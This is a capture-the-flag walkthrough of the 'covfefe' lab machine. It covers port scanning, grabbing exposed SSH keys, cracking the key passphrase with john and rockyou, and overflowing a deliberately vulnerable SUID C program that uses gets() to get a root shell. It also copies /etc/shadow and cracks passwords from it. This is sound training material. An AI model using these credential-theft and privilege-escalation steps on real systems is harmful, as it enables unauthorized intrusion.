Walkthrough – covfefe

This turned out to be a pretty easy box, and a friendly way to ease back into things.  You can download it here.  It is configured to use DHCP to automatically pull an IP, so once you find that IP, you’re good to start.

Scanning

There are tons of ways to do that, but I like to just use nmap’s ping scan. Since my test environment is really only going to have two hosts on it (Kali and the target), it’s pretty trivial to identify the target.

nmap -sn 10.10.7.0/27

...
Nmap scan report for 10.10.7.17
Host is up.
...

An alternative would be to use  arp-scan.  It sends an Address Resolution Protocol packet to each potential target on the local area network and prints out what addresses responded.  A drawback to using this command, though, is that ARP packets are not routable, so your target would have to be located on the LAN in order for it to work.  This is not a problem for us, both of our hosts are on the same LAN, so we should see our target in the output:

1
arp-scan -I eth1 -l
1
2
3
4
5
6
7
8
Interface: eth1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 32 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.7.1 00:50:56:c0:00:01 VMware, Inc.
10.10.7.19 00:0c:29:49:8a:22 VMware, Inc.
10.10.7.30 00:50:56:f2:2b:81 VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 32 hosts scanned in 1.476 seconds (21.68 hosts/sec). 3 responded

You can see above that 10.10.7.19 was discovered, just as in our nmap scan.

Next step is to gather some information on the target.  Below is the output from telling nmap to scan all TCP ports on the target.

1
nmap -p 1-65535 -T4 -A -v 10.10.7.19
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-14 15:39 EST
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating ARP Ping Scan at 15:39
Scanning 10.10.7.19 [1 port]
Completed ARP Ping Scan at 15:39, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:39
Completed Parallel DNS resolution of 1 host. at 15:39, 13.00s elapsed
Initiating SYN Stealth Scan at 15:39
Scanning 10.10.7.19 [65535 ports]
Discovered open port 22/tcp on 10.10.7.19
Discovered open port 80/tcp on 10.10.7.19
Discovered open port 31337/tcp on 10.10.7.19
Completed SYN Stealth Scan at 15:39, 1.87s elapsed (65535 total ports)
Initiating Service scan at 15:39
Scanning 3 services on 10.10.7.19
Completed Service scan at 15:39, 6.06s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 10.10.7.19
NSE: Script scanning 10.10.7.19.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.46s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Nmap scan report for 10.10.7.19
Host is up (0.00025s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:6a:10:e0:fb:63:22:be:09:96:0b:71:6a:60:ad:1a (RSA)
| 256 ac:2c:11:1e:e2:d6:26:ea:58:c4:3e:2d:3e:1e:dd:96 (ECDSA)
|_ 256 13:b3:db:c5:af:62:c2:b1:60:7d:2f:48:ef:c3:13:fc (EdDSA)
80/tcp open http nginx 1.10.3
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3
|_http-title: Welcome to nginx!
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
| http-robots.txt: 3 disallowed entries
|_/.bashrc /.profile /taxes
|_http-server-header: Werkzeug/0.11.15 Python/3.5.3
|_http-title: 404 Not Found
MAC Address: 00:0C:29:49:8A:22 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.019 days (since Thu Dec 14 15:12:48 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.25 ms 10.10.7.19

NSE: Script Post-scanning.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.35 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

Key to note are ports 22, 80, and 31337.  The target is running SSH and two different web servers.  By including the -A flag in the command, we gather information about the services that are running behind the ports, and what versions they likely are.

Knowing all of the publicly available services that are running and their versions, I now turned to searchsploit to see if there are any potential exploits that could be used against any of them. Only Werkzeug turned up any possibilities. Apparently there is a metasploit module that can exploit the services debugger console to generate a python shell.  The exploit only works for versions 0.10 and older, and also requires that the debugger consoleis still in use (which it should not be).  The target is running Werkzeug 0.11.15, and is therefore not vulnerable.

Port :80

The service running on port 80 turns out to be a default nginx installation, but I ran nikto and dirb against it just to be sure. Unfortunately, they both returned nothing.

1
nikto --host=http://10.10.7.19/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.7.19
+ Target Hostname: 10.10.7.19
+ Target Port: 80
+ Start Time: 2017-12-14 15:41:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Server leaks inodes via ETags, header found with file /, fields: 0x595393fa 0x264
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7517 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2017-12-14 15:41:25 (GMT-5) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
1
dirb http://10.10.7.19
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Dec 14 15:41:15 2017
URL_BASE: http://10.10.7.19/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.7.19/ ----

-----------------
END_TIME: Thu Dec 14 15:41:18 2017
DOWNLOADED: 4612 - FOUND: 0

Port :31337

The service running on port 31337 was interesting. Browsing to it yielded a 404 error, however robots.txt, nikto, and dirb returned some promising results.

1
nikto --host=http://10.10.7.19:31337/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.7.19
+ Target Hostname: 10.10.7.19
+ Target Port: 31337
+ Start Time: 2017-12-14 15:45:18 (GMT-5)
---------------------------------------------------------------------------
+ Server: Werkzeug/0.11.15 Python/3.5.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 0x1499600596.267103, size: 0x70, mtime: 0x1587808388
+ Entry '/.bashrc' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/.profile' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/taxes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ OSVDB-3093: /.ssh: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.ssh/authorized_keys: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ 7534 requests: 13 error(s) and 14 item(s) reported on remote host
+ End Time: 2017-12-14 15:45:46 (GMT-5) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto alerts us to the contents of the robots.txt file that we already viewed.  It also notifies us that there are several other files and directories available, all of which are normally found in a user’s home directory.  The web server is therefore likely hosting a home directory from the target box.

Nikto also lists the potential information that can be gained from several of these files.  For example, .profile may reveal directory and system configuration information.

Using dirb to help ensure that nothing else is missed, we get the same hits that nikto already identified.

1
dirb http://10.10.7.19:31337/ /usr/share/wordlists/dirb/big.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Dec 14 15:46:29 2017
URL_BASE: http://10.10.7.19:31337/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.7.19:31337/ ----
+ http://10.10.7.19:31337/.bash_history (CODE:200|SIZE:19)
+ http://10.10.7.19:31337/.bashrc (CODE:200|SIZE:3526)
+ http://10.10.7.19:31337/.profile (CODE:200|SIZE:675)
+ http://10.10.7.19:31337/.ssh (CODE:200|SIZE:43)
+ http://10.10.7.19:31337/robots.txt (CODE:200|SIZE:70)
==> DIRECTORY: http://10.10.7.19:31337/taxes/

---- Entering directory: http://10.10.7.19:31337/taxes/ ----

-----------------
END_TIME: Thu Dec 14 15:47:46 2017
DOWNLOADED: 40916 - FOUND: 5

Taking a look at the files that are available, .bash_history turns up an interesting command called read_message, so we’ll file this away for later. The biggest thing is the fact that there appear to be SSH keys (both private and public) as well as an authorized_keys file available for download in the /.ssh/ directory.

Using wget, we can quickly try to download those files and take a look at their contents.

wget http://10.10.7.19:31337/.ssh/authorized_keys
wget http://10.10.7.19:31337/.ssh/id_rsa.pub
wget http://10.10.7.19:31337/.ssh/id_rsa

Don’t forget to take a look at /taxes/ though!  Here we find our first flag!

Access?

Taking a look at the public key, id_rsa.pub, indicates that the key is for the user simon@covfefe. Double checking the authorized_keys file, we see that simon’s public key is included. This means that we should be able to use the private key to SSH into simon’s profile on the target machine.

1
ssh -i id_rsa simon@10.10.7.19

Unfortunately, the keys require a password. This is a perfect example of why you should always use a password with your SSH keys. We were able to acquire simon’s private key, and have access to his machine, but still can’t log in as simon because we don’t know his password. Let’s figure out his password!

You can use john to crack the passwords associated with ssh keys! First, convert the private key into a format that john can utilize with ssh2john, then run john with a wordlist.

ssh2john id_rsa > shadow
1
2
3
4
5
6
7
8
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules shadow
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
starwars (id_rsa)
1g 0:00:00:00 9.090g/s 6081p/s 6081c/s 6081C/s starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Access.

While simon was smart by including a password with his ssh keys, it seems he used a weak one, so it ultimately did nothing for him. Now, we should be able to log in.

1
ssh -i id_rsa simon@10.10.7.19

Now that we’re on the machine, let’s take a look around. There doesn’t seem to be anything unusual in simon’s home directory. I also pulled down copies of /etc/passwd and /etc/group just in case I needed them later on. Checking them, it seems like simon is the only user on this machine. Sudo is not installed, so we can’t try to sudo su our way to root.

Turns out, /root/ is also readable by simon. It contains a file called flag.txt that we can’t read and one called . This reminded me of the command that we saw in the .bash_history file being hosted by the :31337 service. First I tried running the program to see what happened. Providing it with the name Simon prints out a message telling me to check out the source code in /root/. Okay. But first, let’s locate the actual binary that is being run.

find / read_message 2>/dev/null | grep read_message
/usr/local/bin/read_message
/root/read_message.c

Then let’s see what permissions are associated with it.

ls -Al /usr/local/bin/read_message
-rwsr-xr-x 1 root staff 7608 Jul 2 18:22 /usr/local/bin/read_message

As I expected (hoped), the SUID bit is set. That’s the little s you see where you would normally find x. This means that when the command is run, it will be run as if the OWNER was running it, not the active user. With root being the user, this means that no matter who runs the command, it will be run as root. Good to know.

Now to take  look at the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include
#include
#include

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}

}

A few things to pull out here are lines 6, 9, 10, 11, and 20.
Line 6 is flag 2!
Line 9 is the program that read_message will execute if given an authorized user.
Line 10 allocates a buffer of size 20 to accept user input
Line 11 indicates the only acceptable user input
Line 20 executes the command defined at line 9

Escalation

Disclaimer: I am very rusty with buffer / stack overflows. But when I looked at the code, it immediately looked like there might be a vulnerability with how the username was read in by the program. The program reads the username, checks to see if it is an authorized user, and if so then it executes a different command. Now the correct way to do this probably would’ve been to run a debugger and see what is actually happening in the memory when you use it. But as I said, I’m pretty rusty on how to do all of this, and since I was pretty sure I knew how to attack the overflow, I just decided to go for it. You can see in the code at line 10 that a buffer size of 20 is allocated for the username. So I ran read_message and fed it Simon followed by 15 a’s and then the command that I actually wanted it to run. I lucked out majorly, and this worked. By replacing /usr/local/sbin/message with /bin/sh, instead of /usr/local/sbin/message being run with root privileges, /bin/sh is run as root, and we end up with an interactive shell. A quick check confirms that we now have root! This means that we can read our final flag file at /root/flag.txt to get our final flag and do whatever else we want.

Just for kicks, I copied /etc/shadow and ran john against it. Turns out simon’s password is starwars again. Stop reusing passwords, people. I eventually gave up and never did crack root’s password; if anyone else got it, I’d be interested to know what it was!

That completes this box. As I said, it was pretty simple, but fun. I particularly appreciated the variety that it provided while remaining pretty easy. Kudos to Tim Kent on a fun box!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.